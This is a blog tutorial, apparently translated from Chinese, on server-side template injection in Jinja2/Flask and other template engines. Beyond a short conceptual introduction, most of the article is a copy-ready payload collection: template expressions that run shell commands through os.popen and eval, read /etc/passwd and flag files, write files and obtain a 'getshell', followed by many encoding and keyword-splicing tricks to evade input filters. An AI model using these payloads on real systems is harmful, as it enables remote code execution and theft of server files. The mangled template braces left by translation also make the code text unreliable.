[Network Security] This article takes you to understand SSTI vulnerabilities


Readers can refer to and subscribe to the network security column: Network Security: Both Attack and Defense | Qiu Shuo's Blog


What are SSTIs

SSTI (Server-Side Template Injection) is a server-side template injection vulnerability that occurs in web applications that use template engines. A templating engine is a tool that combines dynamic data with static templates to produce the final output. However, SSTI vulnerabilities can be created if user input is not properly handled when building templates.

The cause of sql injection is: when the back-end scripting language performs database query, it can construct input sentences for splicing, so as to realize malicious sql query.

SSTI is similar to it. The server uses the input as part of the content of the web application template. During the process of target compilation and rendering, malicious statements are spliced, which causes problems such as sensitive information leakage and remote command execution.


What are the SSTI types?

In the three commonly used programming languages ​​PHP, Java and Python, there are some popular templating engines.

PHP:

  1. Smarty: Smarty is a template engine widely used in the PHP language, which provides powerful template separation and logic control functions.

  2. Twig: Twig is a modern PHP templating engine that is widely used in PHP applications such as the Symfony framework.

  3. Blade: Blade is the default template engine of the Laravel framework, which provides a concise syntax and powerful template inheritance features.

Java:

  1. Thymeleaf: Thymeleaf is a modern Java server-side template engine widely used in Java Web applications such as the Spring framework.

  2. FreeMarker: FreeMarker is a popular template engine in the Java language, with flexible syntax and powerful custom label functions.

  3. Mustache: Mustache is a simple yet powerful templating language that supports several programming languages, including Java.

Python:

  1. Jinja2: Jinja2 is a widely used template engine in the Python language, adopted by many web frameworks such as Flask and Django.

  2. Mako: Mako is another template engine commonly used in Python, which has the characteristics of easy-to-use syntax and high performance.

  3. Django template engine: For the Django framework, it comes with a powerful template engine that provides developers with rich template tags and filters.

How do we judge the type of template engine?

In short, rely on this picture:

insert image description here

Common classes and filters

class utilization

Some template engines provide some built-in classes and methods that can be used in templates.

Suppose we are using the Jinja2 template engine and have a custom Userclass, contains nameand ageattributes. We can create an object in the template Userand access its properties.

from jinja2 import Template

class User:
    def __init__(self, name, age):
        self.name = name
        self.age = age

template_string = '''
Name: {
    
    { user.name }}
Age: {
    
    { user.age }}
'''

template = Template(template_string)
user = User('Alice', 25)
rendered_output = template.render(user=user)

print(rendered_output)

In the above example, we created an userobject in the template, and accessed the properties of the object in the template through { { user.name }}and .{ { user.age }}

The final output is:

Name: Alice
Age: 25

Commonly used classes:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{
    
    {
    
    lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{
    
    {
    
     config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{
    
    {
    
     g }}可以获取<flask.g of 'flask_ssti'>

Syntax example:
(1) __class__Used to view the class to which the variable belongs, the format is变量.__class__

How to use:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{
    
    }.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2) __bases__Used to view the base class of the class, the format is变量.__class__.__bases__

How to use:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{
    
    }.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

At the same time, arrays can be combined, such as:
input 变量.__class__.__bases__[0]
can get the first base class


Filter:
In SSTI (Server-Side Template Injection), filters can be used to process and transform variables.

int():将值转换为整数类型;

float():将值转换为浮点数类型;

lower():将字符串转换为小写形式;

upper():将字符串转换为大写形式;

title():将字符串中每个单词的首字母转换为大写;

capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;

strip():删除字符串开头和结尾的空白字符;

wordcount():计算字符串中的单词数量;

reverse():反转字符串;

replace():替换字符串中的指定子串;

truncate():截取字符串的指定长度;

striptags():删除字符串中的所有HTML标签;

escape()或e:转义字符串中的特殊字符;

safe():禁用HTML转义;

list():将字符串转换为列表;

string():将其他类型的值转换为字符串;

join():将序列中的元素拼接成字符串;

abs():返回数值的绝对值;

first():返回序列的第一个元素;

last():返回序列的最后一个元素;

format():格式化字符串;

length():返回字符串的长度;

sum():返回列表中所有数值的和;

sort():排序列表中的元素;

default():在变量没有值的情况下使用默认值。

strip():删除字符串开头和结尾的指定字符,默认删除空白字符。

startswith(prefix):判断字符串是否以指定前缀开头。

endswith(suffix):判断字符串是否以指定后缀结尾。

isalpha():判断字符串是否只包含字母字符。

isdigit():判断字符串是否只包含数字字符。

isalnum():判断字符串是否只包含字母和数字字符。

isspace():判断字符串是否只包含空白字符。

split(separator):将字符串按指定分隔符分割成列表。

join(iterable):使用指定字符连接序列中的元素。

count(substring):统计字符串中子串出现的次数。

find(substring):查找子串第一次出现的位置,若不存在则返回-1

replace(old, new):替换字符串中的指定子串。

islower():判断字符串是否全为小写字母。

isupper():判断字符串是否全为大写字母。

isdigit():判断字符串是否只包含数字。

isnumeric():判断字符串是否只包含数字字符。

isdecimal():判断字符串是否只包含十进制数字字符。

isidentifier():判断字符串是否是合法的标识符。

isprintable():判断字符串是否只包含可打印字符。

encode(encoding):使用指定的编码对字符串进行编码。

decode(encoding):使用指定的编码对字符串进行解码。

Example:

Suppose we have a templating engine that takes an user_inputinput called and renders it into a template. We can use filters to user_inputprocess it.

from jinja2 import Template

input_string = '{
    
    { user_input|lower|capitalize }}'
template = Template(input_string)

user_input = 'hello world'
rendered_output = template.render(user_input=user_input)

print(rendered_output)

In the example above, we used two filters: lowerand capitalize. First, lowerthe filter user_inputconverts to lowercase, then capitalizethe filter converts the first letter in the result to uppercase. The result of the final output is Hello world.


attack ideas

Determine the template engine, use the template's built-in method for rce and getshell


Commonly used payloads

no filter

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{
    
    {
    
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{
    
    {
    
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{
    
    {
    
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{
    
    {
    
    "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{
    
    % endif %}{
    
    % endfor %}
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
    
    % endif %}{
    
    % endfor %}

with filter

bypass.

  1. Use square brackets [] to bypass
{
    
    {
    
    ().__class__}} 
可替换为:
{
    
    {
    
    ()["__class__"]}}

举例:
{
    
    {
    
    ()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
  1. Use attr() to bypass

The attr() function is one of the built-in functions of Python, which is used to get the attribute value of the object or set the attribute value. It can be used on any object that has properties, such as class instances, modules, functions, etc.

{
    
    {
    
    ().__class__}} 
可替换为:
{
    
    {
    
    ()|attr("__class__")}}
{
    
    {
    
    getattr('',"__class__")}}

举例:
{
    
    {
    
    ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

bypass single and double quotes

  1. request bypass
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
  1. chr bypass
{
    
    % set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{
    
    {
    
    ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

Note: When using a GET request, the + sign needs to be url-encoded, otherwise it will be treated as a space.

bypass keyword

  1. Use slicing to output the reversed keyword order, thereby achieving bypass.
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
  1. Use "+" for string splicing to bypass keyword filtering.
{
    
    {
    
    ()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
  1. join stitching

Use the join() function to bypass keyword filtering

{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
  1. Use quotes to bypass
{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
  1. Use the str native function replace to replace

Splice additional characters into the original keyword, and then use the replace function to replace it with nothing.

{
    
    {
    
    ().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
  1. ascii conversion

Convert each character to an ascii value and then stitch them together.

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
  1. Hexadecimal encoding bypass
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{
    
    {
    
    ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

Similarly, octal encoding can also be used to bypass

  1. base64 encoding bypass

For python2, base64 can be used to bypass. For python3, there is no decode method, and this method cannot be used to bypass.

"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
  1. unicode encoding bypass
{
    
    %print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
  1. Hex encoding bypass
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{
    
    {
    
    ().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{
    
    {
    
    ().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

bypass init

can be used __enter__or __exit__replaced__init__

{
    
    ().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

Summarize

The above is a detailed analysis of knowledge points related to SSTI vulnerabilities. Through detailed steps and clear instructions, some actual cases and best practices are shared.

I am Qiu said , see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/132467976